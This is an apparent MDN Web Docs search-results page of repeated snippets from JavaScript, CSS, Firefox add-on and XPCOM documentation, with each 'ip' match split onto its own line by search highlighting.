examples object iteration for each...in has been used to iterate over the specified object values. ...
... examples object iteration for each...in has been used to iterate over the specified object values. ...
... examples object iteration for each...in has been used to iterate over the specified object values. ...
JavaScript error reference - JavaScript
list of errors in this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). ...
...ported problem isn't always immediately clear. the pages below will provide additional details about these errors. each error is an object based upon the error object, and has a name and a message. errors displayed in the web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code. for a beginner's introductory tutorial on fixing javascr
ipt errors, see what went wrong? troubleshooting javascr
ipt. list of errors in this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). together, these two properties provide a starting point toward understanding and resolving the error. for more information, follow the links below! error: permission denied to access property "x"intern...
...ignment to const "x"typeerror: property "x" is non-configurable and can't be deletedtypeerror: setting getter-only property "x"typeerror: variable "x" redeclares argumenturierror: malformed uri sequencewarning: 08/09 is not a legal ecma-262 octal constantwarning: -file- is being assigned a //# sourcemappingurl, but already has onewarning: date.prototype.tolocaleformat is deprecatedwarning: javascr
ipt 1.6's for-each-in loops are deprecatedwarning: string.x is deprecated; use string.prototype.x insteadwarning: expression closures are deprecatedwarning: unreachable code after return statement ...
PushSubscription.subscriptionId - Web APIs
the endpoint read-only property of the pushsubscr
iption interface returns a domstring containing the subscr
iption id associated with the push subscr
iption. syntax var subid = pushsubscr
iption.subscr
iptionid; specifications specification status comment push api working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...tion browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
Pipeline operator (|>) - JavaScript
the experimental p
ipeline operator |> (currently at stage 1) p
ipes the value of an expression into a function. this allows the creation of chained function calls in a readable manner. the result is syntactic sugar in which a function call with a single argument can be written like this: let url = "%21" |> decodeuri; the equivalent call in traditional syntax looks like this: let url = decodeuri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter. parameters expression any valid expression. function any function. examples chaining function calls the p
ipeline operator can improve readability when chaining several functions. ...
...ri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter. parameters expression any valid expression. function any function. examples chaining function calls the p
ipeline operator can improve readability when chaining several functions. const double = (n) => n * 2; const increment = (n) => n + 1; // without p
ipeline operator double(increment(double(double(5)))); // 42 // with p
ipeline operator 5 |> double |> double |> increment |> double; // 42 specifications specification p
ipeline operatorthe definition of 'p
ipeline operator' in that specification. ...
Trigger Scripts and Install Scripts - Archive of obsolete content
trigger scr
ipts and install scr
ipts trigger scr
ipts are simple installations that can be initiated from event handlers and other javascr
ipt code on a web page. triggers use the installtrigger object methods to compare software versions, install chrome, and perform simple software installations. install scr
ipts use the install, file, installversion and platform-specific installation object methods to initialize, queue, manage, and perform the installation of one or more software packages. these install scr
ipts are typically located at the top level of the xpi archives in which the installations are stored. a trigger scr
ipt may trigger the downloading of a xpi, which in turn will use its own install.js scr
ipt to manage the complete installation. ...
grippytooltiptext - Archive of obsolete content
<< xul reference home gr
ippytoolt
iptext seamonkey only type: string the text to appear on the toolt
ip for the toolbar's gr
ippy when the toolbar is collapsed. this would be used to label the gr
ippy so that the user knows which toolbar it represents. ...
PR ConvertIPv4AddrToIPv6
converts an
ipv4 address into an (
ipv4-mapped)
ipv6 address. syntax #include <prnetdb.h> void pr_convert
ipv4addrto
ipv6( pruint32 v4addr, pr
ipv6addr *v6addr ); parameters the function has the following parameters: v4addr the
ipv4 address to convert into an
ipv4-mapped
ipv6 address. this must be specified in network byte order. v6addr a pointer to a buffer, allocated by the caller, that is filled in with the
ipv6 address on return. ...
Multiplication (*) - JavaScript
the mult
iplication operator (*) produces the product of the operands. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax operator: x * y examples mult
iplication using numbers 2 * 2 // 4 -2 * 2 // -4 mult
iplication with infinity infinity * 0 // nan infinity * infinity // infinity mult
iplication with non-numbers 'foo' * 2 // nan specifications specification ecmascr
ipt (ecma-262)the definition of 'mult
iplication operator' in that specification. ...
Multiplication assignment (*=) - JavaScript
the mult
iplication assignment operator (*=) mult
iplies a variable by the value of the right operand and assigns the result to the variable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax operator: x *= y meaning: x = x * y examples using mult
iplication assignment // assuming the following variable // bar = 5 bar *= 2 // 10 bar *= 'foo' // nan specifications specification ecmascr
ipt (ecma-262)the definition of 'assignment operators' in that specification. ...
TypeScript support in Svelte - Learn web development
previous overview: client-side javascr
ipt frameworks next in the last article we learned about svelte stores and even implemented our own custom store to persist the app's information to web storage. we also had a look at using the transition directive to implement animations on dom elements in svelte. we will now learn how to use typescr
ipt in svelte applications. first we'll learn what typescr
ipt is and what benefits it can bring us. then we'll see how to configure our project to work with typescr
ipt files. finally we will go over our app and see what modifications we have to make to fully take advantage of typescr
ipt features. ...
...cations. first we'll learn what typescr
ipt is and what benefits it can bring us. then we'll see how to configure our project to work with typescr
ipt files. finally we will go over our app and see what modifications we have to make to fully take advantage of typescr
ipt features. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn how to configure and use typescr
ipt when developing svelte applications. note that our application is fully functional and porting it to typescr
ipt is completely optional. there are different opinions about it, an...
...a terminal with node + npm installed to compile and build your app. objective: learn how to configure and use typescr
ipt when developing svelte applications. note that our application is fully functional and porting it to typescr
ipt is completely optional. there are different opinions about it, and in this chapter we will talk briefly about the pros and cons of using typescr
ipt. even if you are not planning to adopt it, this article will be useful for allowing you to learn what it has to offer and help you make your own decision. if you are not interested at all in typescr
ipt, you can sk
ip to the next chapter, where we will look at different options for deploying our svelte applications, further resources, and more. code along with us git clone the github repo (if y...
...And 84 more matches
Content Scripts - Archive of obsolete content
many add-ons need to access and modify the content of web pages. but the main add-on code doesn't get direct access to web content. instead, sdk add-ons need to factor the code that gets access to web content into separate scr
ipts that are called content scr
ipts. this page describes how to develop and implement content scr
ipts. content scr
ipts can be one of the more confusing aspects of working with the sdk, but you're very likely to have to use them. ...
... code doesn't get direct access to web content. instead, sdk add-ons need to factor the code that gets access to web content into separate scr
ipts that are called content scr
ipts. this page describes how to develop and implement content scr
ipts. content scr
ipts can be one of the more confusing aspects of working with the sdk, but you're very likely to have to use them. ...
... this page describes how to develop and implement content scr
ipts. content scr
ipts can be one of the more confusing aspects of working with the sdk, but you're very likely to have to use them. there are five basic princ
iples: the add-on's main code, including "main.js" and other modules in "lib", can use the sdk high-level and low-level apis, but can't access web content directly content scr
ipts can't use the sdk's apis (no access to globals exports, require) but can access web content sdk apis that use content scr
ipts, like page-mod and tabs, provide functions that enable the add-on's main code to load content scr
ipts into web pages content scr
ipts can be loaded in as strings, but are more often stored as separate files under the add-on's "data" directory. jpm doesn't make a "data" ...
...And 71 more matches
Handling common JavaScript problems - Learn web development
previous overview: cross browser testing next now we'll look at common cross-browser javascr
ipt problems and how to fix them. this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascr
ipt features working in older browsers, and more. prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high-level princ
iples of cross browser testing. objective: to be able to diagnose common javascr
ipt cross-browser problems, and use appropriate tools and techniques to fix them. ...
... getting modern javascr
ipt features working in older browsers, and more. prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high-level princ
iples of cross browser testing. objective: to be able to diagnose common javascr
ipt cross-browser problems, and use appropriate tools and techniques to fix them. ...
... features working in older browsers, and more. prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high-level princ
iples of cross browser testing. objective: to be able to diagnose common javascr
ipt cross-browser problems, and use appropriate tools and techniques to fix them. ...
...And 70 more matches
What is JavaScript? - Learn web development
overview: first steps next welcome to the mdn beginner's javascr
ipt course! ...
... overview: first steps next welcome to the mdn beginner's javascr
ipt course! ...
... overview: first steps next welcome to the mdn beginner's javascr
ipt course! ...
...And 67 more matches
Interacting with page scripts - Archive of obsolete content
by default, content scr
ipts loaded by add-ons and scr
ipts loaded by web pages are insulated from each other: content scr
ipts can't interact directly with page scr
ipts or access javascr
ipt objects they create page scr
ipts can't interact directly with content scr
ipts or access objects they create. for the sake of security, stability, and simplicity, this is usually what you want. you don't want arbitrary web pages to be able to access objects in content scr
ipts, and you don't want objects created by content scr
ipts to clash with objects created by page scr
ipts. but sometimes, you will want to share objects between the two scopes. ...
...he sake of security, stability, and simplicity, this is usually what you want. you don't want arbitrary web pages to be able to access objects in content scr
ipts, and you don't want objects created by content scr
ipts to clash with objects created by page scr
ipts. but sometimes, you will want to share objects between the two scopes. ...
...ty, stability, and simplicity, this is usually what you want. you don't want arbitrary web pages to be able to access objects in content scr
ipts, and you don't want objects created by content scr
ipts to clash with objects created by page scr
ipts. but sometimes, you will want to share objects between the two scopes. ...
...And 66 more matches
nsIZipWriter
operations on the archive can be performed one by one, or queued for later execution. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) once all the operations you wish to perform are added to the queue, a call to processqueue() will perform the operations in the order they were added to the queue. operations performed on the queue throw any errors that occur out to the observer. attempting to perform a synchronous operation on the interface while the background queue is in progress will throw an ns_error_in_progress exception. ...
...errors that occur out to the observer. attempting to perform a synchronous operation on the interface while the background queue is in progress will throw an ns_error_in_progress exception. file and directory names should use slashes ("/") as separators and should not begin with a slash. ...
...ogress will throw an ns_error_in_progress exception. file and directory names should use slashes ("/") as separators and should not begin with a slash. note: although it is not necessary to add directory entries in order to add file entries within them, some z
ip utilities may have problems with that, so it may be best to add the directory entries explicitly first. implemented by: @mozilla.org/z
ipwriter;1. ...
...And 63 more matches
JavaScript Daemons Management - Archive of obsolete content
the following daemons management framework is the major version of setinterval - a little framework. introduction sometimes a page uses dozens and dozens of animations. ...
... the following daemons management framework is the major version of setinterval - a little framework. introduction sometimes a page uses dozens and dozens of animations. ...
... the following daemons management framework is the major version of setinterval - a little framework. introduction sometimes a page uses dozens and dozens of animations. ...
...And 53 more matches
Eclipse CDT
introduction ecl
ipse cdt (c/c++ development tools) is an open-source ide for c and c++ development with advanced code assistance (inheritance/call graph explorer, jump to definition, refactoring, autocomplete, syntax highlighting, and so on). system requirements ecl
ipse will use a lot of memory to fully index the mozilla source tree to provide code assistance features (easily 4 gb of ram, although this will drop to just over 1 gb if you restart after indexing is complete). therefore, it is not recommended for use if your machine only has 4 gb of ram. installing ecl
ipse regarding llvm4ecl
ipsecdt, do not install or select this toolchain for mozilla development. this plugin is intended mainly for managed projects but we use an unmanaged project for mozilla (since it has its own bu...
... for use if your machine only has 4 gb of ram. installing ecl
ipse regarding llvm4ecl
ipsecdt, do not install or select this toolchain for mozilla development. this plugin is intended mainly for managed projects but we use an unmanaged project for mozilla (since it has its own build system). using this plugin will result in parts of the ui described below being hidden or disabled. download "ecl
ipse ide for c/c++ developers" (not ecl
ipse ide for enterprise java developers) from the ecl
ipse download page, install it, and add the directory containing the ecl
ipse binary to your path (/applications/ecl
ipse.app/contents/ecl
ipse/ on mac). (while package managers like snap sometimes provide an ecl
ipse package, they do not include the c++ developer tools. since it's a pain to install them and kee...
... enterprise java developers) from the ecl
ipse download page, install it, and add the directory containing the ecl
ipse binary to your path (/applications/ecl
ipse.app/contents/ecl
ipse/ on mac). (while package managers like snap sometimes provide an ecl
ipse package, they do not include the c++ developer tools. since it's a pain to install them and keep them up to date we do not recommend getting ecl
ipse this way.) increase ecl
ipse's memory limits! make sure you do this! ...
...And 52 more matches
Appendix D: Loading Scripts - Archive of obsolete content
most add-ons and xul runner applications provide their primary functionality by loading and executing javascr
ipt code. because there are such a diverse array of add-ons, and because the needs of developers have grown organically over time, the gecko runtime provides a number of means to dynamically load and execute javascr
ipt files. each of these means has its own advantages and disadvantages, as well as its own quirks which may trap the unwary. below is an overview of the more common means of loading scr
ipts, along with some of their primary advantages, disadvantages, quirks, and use cases. the examples below which make use of the services global assume that you're previously imported the services.jsm module. as this module only exists on firefox 4 and other gecko 2-based platforms, the s...
...re common means of loading scr
ipts, along with some of their primary advantages, disadvantages, quirks, and use cases. the examples below which make use of the services global assume that you're previously imported the services.jsm module. as this module only exists on firefox 4 and other gecko 2-based platforms, the services in question will have to be manually loaded on other platforms. <scr
ipt> tags xul scr
ipt tags are traditionally the primary means of loading scr
ipts for extension developers. these tags are generally inserted into xul overlay files or other xul documents, after which they are automatically loaded into the context of the xul window in question and executed immediately and synchronously. ...
... <scr
ipt> tags xul scr
ipt tags are traditionally the primary means of loading scr
ipts for extension developers. these tags are generally inserted into xul overlay files or other xul documents, after which they are automatically loaded into the context of the xul window in question and executed immediately and synchronously. advantages familiarity: these tags are very similar to the html scr
ipt tags familiar to most web developers. simplicity: the simple, declarative nature of these tags make them easy to find and understand at a glance. speed: scr
ipt tags may or may not be loaded from pre-compiled bytecode in the fastload cache (gecko 1.x) or startup cache (gecko 2), which means they don't necessarily need to read as source and compiled with each restart. ...
...And 50 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
by davey waterson, javascr
ipt architect, aptana there's no debate that javascr
ipt is the most widely used language client-side on the web. regardless of how the back-ends of your web applications are implemented, client side you're using javascr
ipt for everything from same form validations to full ajax applications. now imagine being able to develop web apps using javascr
ipt server-side too. wouldn't being able to use the same language on both client and server simplify life for us developers? ...
...cr
ipt for everything from same form validations to full ajax applications. now imagine being able to develop web apps using javascr
ipt server-side too. wouldn't being able to use the same language on both client and server simplify life for us developers? ...
...-side too. wouldn't being able to use the same language on both client and server simplify life for us developers? full circle if you were part of the early web's big bang in the mid-1990s you might recall that being able to use javascr
ipt both client-side and server-side was core to netscape's original vision for web apps. netscape livewire was the first server-side javascr
ipt engine. now more than 10 years later, with netscape's technology group having been transformed into the mozilla foundation, server-side javascr
ipt is seeing a strong resurgence because of the simplicity it provides to web developers reinvigorated by the fact that today's cpus can process javascr
ipt more than 10x faster than the cpus of the mid-90's ever could. and just like before, it's the mozi...
...And 47 more matches
Details of the object model - JavaScript
class-based vs. prototype-based languages class-based object-oriented languages, such as java and c++, are founded on the concept of two distinct entities: classes and instances. ...
... class-based vs. prototype-based languages class-based object-oriented languages, such as java and c++, are founded on the concept of two distinct entities: classes and instances. ...
... class-based vs. prototype-based languages class-based object-oriented languages, such as java and c++, are founded on the concept of two distinct entities: classes and instances. ...
...And 46 more matches
clip-path - CSS: Cascading Style Sheets
the cl
ip-path css property creates a cl
ipping region that sets what part of an element should be shown. parts that are inside the region are shown, while those outside are hidden. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...
ipping region that sets what part of an element should be shown. parts that are inside the region are shown, while those outside are hidden. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...s what part of an element should be shown. parts that are inside the region are shown, while those outside are hidden. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 45 more matches
IPDL Tutorial
ipdl, short for "inter-process-communication protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way. all messages for multi-process plugins and tabs in firefox are declared in the
ipdl language. to experiment with adding a new
ipdl protocol, see creating a new protocol. all
ipdl messages are sent between parent and a child end points, called actors. an
ipdl protocol declares how actors communicate: it declares the possible messages that may be sent between actors, as well as a state machine describing when messages are allowed to be sent. ...
...ges are sent between parent and a child end points, called actors. an
ipdl protocol declares how actors communicate: it declares the possible messages that may be sent between actors, as well as a state machine describing when messages are allowed to be sent. the parent actor is typically the more permanent side of the conversation: parent/child actors parent child
ipc tabs chrome process content process
ipc plugins content process plugin process each protocol is declared in a separate file. the
ipdl compiler generates several c++ headers from each
ipdl protocol. ...
...conversation: parent/child actors parent child
ipc tabs chrome process content process
ipc plugins content process plugin process each protocol is declared in a separate file. the
ipdl compiler generates several c++ headers from each
ipdl protocol. this generated code manages the details of the underlying communication layer (sockets and p
ipes), constructing and sending messages, ensuring that all actors adhere to their specifications, and handling many error conditions. the following
ipdl code defines a very basic interaction of browser and plugin actors: async protocol pplugin { child: async init(nscstring pluginpath); async shutdown(); parent: async ready(); }; this code declares the pplugin protocol. two messages can be...
...And 43 more matches
Bytecode Descriptions
alue. uint24 operands: (uint24_t val) stack: => val push the uint24_t immediate operand as an int32value. double operands: (double val) stack: => val push the 64-bit floating-point immediate operand as a doublevalue. if the operand is a nan, it must be the canonical nan (see js::detail::canonicalizenan). bigint operands: (uint32_t bigintindex) stack: => bigint push the bigint constant scr
ipt->getbigint(bigintindex). string operands: (uint32_t atomindex) stack: => string push the string constant scr
ipt->getatom(atomindex). format: jof_atom symbol operands: (uint8_t symbol (the js::symbolcode of the symbol to use)) stack: => symbol push a well-known symbol. symbol must be in range for js::symbolcode. expressions unary operators void stack: val => undefined pop the top value...
... the conversion can call .tostring()/.valueof() methods and can throw. on success, the result is always numeric. format: jof_ic inc, dec stack: val => (val +/- 1) add or subtract 1. val must already be a numeric value, such as the result of jsop::tonumeric. implements: the ++ and -- operators, step 3 of each algorithm. format: jof_ic mul, div, mod stack: lval, rval => (lval op rval) the mult
iplicative operators (*, /, %). pop two values, convert them to numeric values, do math, and push the result. the conversion can call .tostring()/.valueof() methods and can throw. on success, the result is always numeric. format: jof_ic pow stack: lval, rval => (lval ** rval) the exponentiation operator (**). pop two values, convert them to numeric values, do exponentiation, and push the result. ...
...e; sub; setlocal "x" does not give us. format: jof_ic other expressions globalthis stack: => this push the global this value. not to be confused with the globalthis property on the global. this must be used only in scopes where this refers to the global this. newtarget stack: => new.target push the value of new.target. the result is a constructor or undefined. this must be used only in scr
ipts where new.target is allowed: non-arrow function scr
ipts and other scr
ipts that have a non-arrow function scr
ipt on the scope chain. implements: getnewtarget. dynamicimport stack: moduleid => promise dynamic import of the module specified by the string value on the top of the stack. implements: import calls. importmeta stack: => import.meta push the import.meta object. this must be used on...
...And 43 more matches
Multiple-column layout - Learn web development
you can follow along by downloading the multicol starting point file and adding the css into the appropriate places. ...
...you can follow along by downloading the multicol starting point file and adding the css into the appropriate places. ...
...in columns, as you might see in a newspaper. this article explains how to use this feature. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to create mult
iple-column layout on webpages, such as you might find in a newspaper. a basic example we will now explore how to use mult
iple-column layout, often referred to as multicol. you can follow along by downloading the multicol starting point file and adding the css into the appropriate places. at the bottom of the section you can see a live example of what the final code should look like. our starting point contains some very simple html; a wrapper with a class of container inside which is a heading and some paragraphs. t...
...And 41 more matches
Communicating With Other Scripts - Archive of obsolete content
this page is now obsolete, and its content has been incorporated into the main page on content scr
ipts. this section of the guide explains how content scr
ipts can communicate with: your main.js file, or any other modules in your add-on other content scr
ipts loaded by your add-on page scr
ipts (that is, scr
ipts embedded in the web page or included using <scr
ipt> tags) main.js your content scr
ipts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api. see the articles on using postmessage() and using port for details. ...
... by your add-on page scr
ipts (that is, scr
ipts embedded in the web page or included using <scr
ipt> tags) main.js your content scr
ipts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api. see the articles on using postmessage() and using port for details. content scr
ipts content scr
ipts loaded into the same document at the same time using the same method can interact with each other directly as well as with the web content itself. however, content scr
ipts which have been loaded into different documents cannot interact directly with each other. ...
... the postmessage() api. see the articles on using postmessage() and using port for details. content scr
ipts content scr
ipts loaded into the same document at the same time using the same method can interact with each other directly as well as with the web content itself. however, content scr
ipts which have been loaded into different documents cannot interact directly with each other. content scr
ipts that have been loaded into the same document by different methods, or the same method called more than once, can pass messages directly to each other using the dom postmessage() api or a customevent. any two content scr
ipts can communicate by using the main add-on scr
ipt to manually relay messages between the content scr
ipts. for example: if an add-on creates a single panel object and loads...
...And 36 more matches
Eclipse CDT Manual Setup
mach setup most people should be reading the ecl
ipse cdt page instead of this one, now that mach ide ecl
ipse is a thing. this page contains the content that used to live on the ecl
ipse cdt page that most people will likely just consider noise. there is valuable information here that should be integrated back into that page, but a large amount of it is now taken care of by the mach project generation code. for now it's stored here until that integration happens in order that the ecl
ipse cdt page isn't hugely cluttered with mostly redundant information, make setting up ecl
ipse look much more complicated than it is nowadays. setup time some points in the rest of this document below are old and taken care of by the mach commands described above (although some of the project config...
... you can expect it to take an hour or so to work through these instructions if you're doing so for the first time. ...
... you can expect it to take an hour or so to work through these instructions if you're doing so for the first time. ...
...And 35 more matches
Hacking Tips
note that some functions have been moved under an 'os' object, and help(os) will give brief help on just the members of that "namespace". ...
...note that some functions have been moved under an 'os' object, and help(os) will give brief help on just the members of that "namespace". ...
...note that some functions have been moved under an 'os' object, and help(os) will give brief help on just the members of that "namespace". ...
...And 33 more matches
Debugger.Script - Firefox Developer Tools
debugger.scr
ipt a debugger.scr
ipt instance may refer to a sequence of bytecode in the debuggee or to a block of webassembly code. for the former, it is the debugger api's presentation of a jsapi jsscr
ipt object. the two cases are distinguished by their format property being "js" or "wasm". debugger.scr
ipt for jsscr
ipts for debugger.scr
ipt instances referring to a jsscr
ipt, they are distinguished by their format property being "js". each of the following is represented by a single jsscr
ipt object: the body of a function--that is, all the code in the function that is not contained within some nested function. the code passed to a single call to eval, excluding the bodies of any functions that code defines. the contents of a <scr
ipt> element. a dom event hand...
...presented by a single jsscr
ipt object: the body of a function--that is, all the code in the function that is not contained within some nested function. the code passed to a single call to eval, excluding the bodies of any functions that code defines. the contents of a <scr
ipt> element. a dom event handler, whether embedded in html or attached to the element by other javascr
ipt code. code appearing in a javascr
ipt: url. the debugger interface constructs debugger.scr
ipt objects as scr
ipts of debuggee code are uncovered by the debugger: via the onnewscr
ipt handler method; via debugger.frame's scr
ipt properties; via the functionscr
ipt method of debugger.object instances; and so on. ...
...
ipt code. code appearing in a javascr
ipt: url. the debugger interface constructs debugger.scr
ipt objects as scr
ipts of debuggee code are uncovered by the debugger: via the onnewscr
ipt handler method; via debugger.frame's scr
ipt properties; via the functionscr
ipt method of debugger.object instances; and so on. for a given debugger instance, spidermonkey constructs exactly one debugger.scr
ipt instance for each underlying scr
ipt object; debugger code can add its own properties to a scr
ipt object and expect to find them later, use == to decide whether two expressions refer to the same scr
ipt, and so on. (if more than one debugger instance is debugging the same code, each debugger gets a separate debugger.scr
ipt instance for a given scr
ipt. this allows the code using each debugger inst...
...And 32 more matches
Scripting Java
note that the ecma standard doesn't cover communication with java (or with any external object system for that matter). all the functionality covered in this chapter should thus be considered an extension. ...
... note that the ecma standard doesn't cover communication with java (or with any external object system for that matter). all the functionality covered in this chapter should thus be considered an extension. ...
... note that the ecma standard doesn't cover communication with java (or with any external object system for that matter). all the functionality covered in this chapter should thus be considered an extension. ...
...And 31 more matches
Introduction - JavaScript
<< previousnext >> this chapter introduces javascr
ipt and discusses some of its fundamental concepts. what you should already know this guide assumes you have the following basic background: a general understanding of the internet and the world wide web (www). good working knowledge of hypertext markup language (html). some programming experience. if you are new to programming, try one of the tutorials linked on the main page about javascr
ipt. where to find javascr
ipt information the javascr
ipt documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of programming and the internet. javascr
ipt guide (this guide) provides an overview about the javascr
ipt language and its objects. javascr...
...g, try one of the tutorials linked on the main page about javascr
ipt. where to find javascr
ipt information the javascr
ipt documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of programming and the internet. javascr
ipt guide (this guide) provides an overview about the javascr
ipt language and its objects. javascr
ipt reference provides detailed reference material for javascr
ipt. if you are new to javascr
ipt, start with the articles in the learning area and the javascr
ipt guide. once you have a firm grasp of the fundamentals, you can use the javascr
ipt reference to get more details on individual objects and statements. ...
...des an overview about the javascr
ipt language and its objects. javascr
ipt reference provides detailed reference material for javascr
ipt. if you are new to javascr
ipt, start with the articles in the learning area and the javascr
ipt guide. once you have a firm grasp of the fundamentals, you can use the javascr
ipt reference to get more details on individual objects and statements. what is javascr
ipt? ...
...And 31 more matches
Using the clipboard
this section provides information about cutting, copying, and pasting to and from the cl
ipboard. the cl
ipboard mozilla provides a number of interfaces for accessing the cl
ipboard. the component @mozilla.org/widget/cl
ipboardhelper;1 can be used to copy text to the cl
ipboard. this component implements the interface nsicl
ipboardhelper, which has a function copystring that can be used to copy a string. ...
...rovides information about cutting, copying, and pasting to and from the cl
ipboard. the cl
ipboard mozilla provides a number of interfaces for accessing the cl
ipboard. the component @mozilla.org/widget/cl
ipboardhelper;1 can be used to copy text to the cl
ipboard. this component implements the interface nsicl
ipboardhelper, which has a function copystring that can be used to copy a string. const gcl
ipboardhelper = components.classes["@mozilla.org/widget/cl
ipboardhelper;1"] .getservice(components.interfaces.nsicl
ipboardhelper); gcl
ipboardhelper.copystring("put me on the cl
ipboard, please."); this example will first create a cl
ipboard helper and then copy a short string to the cl
ipboard. this method only works to put strings on the cl
ipboard. for other types ...
...tservice(components.interfaces.nsicl
ipboardhelper); gcl
ipboardhelper.copystring("put me on the cl
ipboard, please."); this example will first create a cl
ipboard helper and then copy a short string to the cl
ipboard. this method only works to put strings on the cl
ipboard. for other types of data, such as urls or images, you will need to use a more complex method. a component @mozilla.org/widget/cl
ipboard;1 and an interface nsicl
ipboard provide general access to the system cl
ipboard. you can use them to copy and paste any type of data from your application to the cl
ipboard. three xpcom objects are needed to handle cl
ipboard operations. the first is an object that holds the data to put on the cl
ipboard. the second is the cl
ipboard object. the third is an object which is used to transfer the da...
...And 30 more matches
nsIZipReader
modules/libjar/nsiz
ipreader.idlscr
iptable this interface provides methods for reading compressed (z
ip) files. inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/z
ip-reader;1. to create an instance, use: var z
ipreader = components.classes["@mozilla.org/libjar/z
ip-reader;1"] .createinstance(components.interfaces.nsiz
ipreader); about character sets and code pages note: nsiz
ipreader has a code page problem; that is, in the z
ip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, such as utf-8. this can mismatch characters in the nsiz
ipreader api. starting in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey...
...nents.interfaces.nsiz
ipreader); about character sets and code pages note: nsiz
ipreader has a code page problem; that is, in the z
ip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, such as utf-8. this can mismatch characters in the nsiz
ipreader api. starting in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), the nsiz
ipreader api supports a limited 8 bit code page usage. all functions now pass the filenames (both in and out) as autf8string. so you can now read and extract what you wrote with nsiz
ipwriter. if you show filenames from the findentries() result in the user interface, the character matching is only fine on utf-8 z
ip archives. method overview void close(); void extract(in autf8st...
... api supports a limited 8 bit code page usage. all functions now pass the filenames (both in and out) as autf8string. so you can now read and extract what you wrote with nsiz
ipwriter. if you show filenames from the findentries() result in the user interface, the character matching is only fine on utf-8 z
ip archives. ...
...And 28 more matches
Grammar and types - JavaScript
a semicolon is not necessary after a statement if it is written on its own line. ...
... a semicolon is not necessary after a statement if it is written on its own line. ...
... a semicolon is not necessary after a statement if it is written on its own line. ...
...And 28 more matches
HTML in XUL for rich tooltips - Archive of obsolete content
this example demonstrates the dynamic injection of html into a xul element. specifically, we create a rich toolt
ip that uses html instead of plain text. dynamic html in xul toolt
ip insert the appropriate code from below into your xul overlay. ...
... this example demonstrates the dynamic injection of html into a xul element. specifically, we create a rich toolt
ip that uses html instead of plain text. dynamic html in xul toolt
ip insert the appropriate code from below into your xul overlay. ...
... demonstrates the dynamic injection of html into a xul element. specifically, we create a rich toolt
ip that uses html instead of plain text. dynamic html in xul toolt
ip insert the appropriate code from below into your xul overlay. ...
...And 25 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
warning: the content of this article may be out of date. this article was written on august 31, 2001; it is not compatible with current versions of firefox. this article applies to mozilla versions 0.9.2 and higher and netscape versions 6.1 and higher. it does not cover netscape 6 and 6.01 introduction plugins that used to take advantage of being scr
iptable via liveconnect in 4.x netscape browsers lost this possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows xpcom components be scr
iptable via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascr...
...scape browsers lost this possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows xpcom components be scr
iptable via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascr
ipt in mozilla based browsers. in order to make it still possible to scr
ipt plugins, some changes have been made to the mozilla code. the changes allow to make existing 4.x plugins scr
iptable with only minor modifications in their code. the present document describes the steps of what should be done to the plugin code to turn it scr
iptable again. what's in the mozilla code? a couple of lines have be...
...ossible to scr
ipt plugins, some changes have been made to the mozilla code. the changes allow to make existing 4.x plugins scr
iptable with only minor modifications in their code. the present document describes the steps of what should be done to the plugin code to turn it scr
iptable again. what's in the mozilla code? ...
...And 25 more matches
nsIPromptService
embedding/components/windowwatcher/public/ns
ipromptservice.idlscr
iptable this interface can be used to display simple dialogs. its methods should be used in privileged code instead of dom window.alert, window.confirm, and other similar functions. inherits from: nsisupports last changed in gecko 1.7.5 you can define access keys (or keyboard shortcuts) for buttons by including an ampersand ("&") in front of the character that should be the access key for that button. if you need to include an ampersand in the button's text, use two of them, like this: "&&". note: some of these interface methods use out and inout parameters. in c++, out parameters are pointers. for javascr
